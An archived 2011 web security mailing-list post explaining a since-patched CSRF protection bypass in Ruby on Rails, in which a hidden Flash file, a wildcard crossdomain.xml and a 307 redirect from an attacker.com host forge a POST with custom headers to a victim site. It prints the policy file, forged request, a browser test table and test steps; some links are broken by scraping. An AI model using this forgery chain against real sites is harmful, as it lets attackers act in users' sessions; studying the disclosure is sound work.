

[WEB SECURITY] CSRF: Flash + 307 redirect = Game Over

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- Published: date not stated
- Original: <http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-February/007533.html>
- Preserved from: http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-February/007533.html (stored) on 2026-08-09
- Capture timestamp: 20110212030623
- Licence: unknown

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Content

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A vulnerability **for** Ruby on Rails was recently patched [[<http://weblog.rubyonrails.org/2011/2/8/csrf-protection-bypass-in-rails>]. The **default** CSRF prevention built into RAILS had two components: (1) a custom HTTP Header, and (2) a CSRF token in

A hidden flash file on a website will automate the sending of the following request:

<http://www.attacker.com/redirect.php?status=307&url=http://www.victim.com>

Flash will allow the site which it is running **from** to specify POST data and additional headers. But before sending the request, it will send a cross-domain policy request.

<http://www.attacker.com/crossdomain.xml>

```
---
<?xml version="1.0" encoding="UTF-8"?>
<cross-domain-policy>
  <allow-access-from domain="*" />
  <allow-http-request-headers-from domain="*" headers="*" />
</cross-domain-policy>
---
```

The flash file will understand that it now has permission to send additional header information with its request, and will send the following request:

<http://www.attacker.com/redirect.php?status=307&url=http://www.victim.com>

The attacker site will **return** a 307 redirect. It's like a 302 redirect, but allows the forwarding of POST data too. The flash file will then send the following request:

```
-----
POST / HTTP/1.1
Host: www.victim.com
...
X-Header: test=data;
Cookie: abc=123
Content-Length: 9

post=body
-----
```

We see here that the POST request is being set to www.victim.com, with the additional headers and the POST body. We can see the breakdown of the vulnerability:

Breakdown of the vulnerability:

Mac - Flash Player 10,2,154,12

Chrome 9.0.597.94	302 Redirect	GET Request, with headers
Chrome 9.0.597.94	307 Redirect	Not Sent

Safari 5.0.3 (6533.19.4)	302 Redirect	GET Request, with headers
Safari 5.0.3 (6533.19.4)	307 Redirect	POST Request, with headers (No Confirmation)
Firefox 3.6.10	302 Redirect	GET Request, no headers
Firefox 3.6.10	307 Redirect	POST Request, with headers
Firefox 4 beta 8	no bueno	

Windows XP - Flash Player 10.2.152.26

Firefox 3.6.10	302 Redirect	GET Request, no headers
Firefox 3.6.10	307 Redirect	POST Request, with headers
IE 7	no bueno	
IE 8	no bueno	

Testing the vulnerability yourself:

1. Setup a local HTTP proxy, such as Burp Proxy.
2. Run the attached crossdomain.swf application **from** your browser (Credit goes to my colleague, Jason **for** writing **this**)
3. **For** the URL, **use** a redirect. I have one set up here: [[----- next part -----](http://nevr.co.cc/xss.php?status=307&redir_xss=](http://nevr.co.cc/
4. Test different combinations of requests, and look at the request/responses as they go through your HTTP proxy app

</div>
<div data-bbox=)

A non-text attachment was scrubbed...

Name: crossdomain.swf

Type: application/octet-stream

Size: 46872 bytes

Desc: crossdomain.swf

URL: <[http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/attachments/20110210/0c52e56d/attachment-

----- next part -----

An embedded and charset-unspecified text was scrubbed...

Name: ATT00001..txt

URL: <[http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/attachments/20110210/0c52e56d/attachment-

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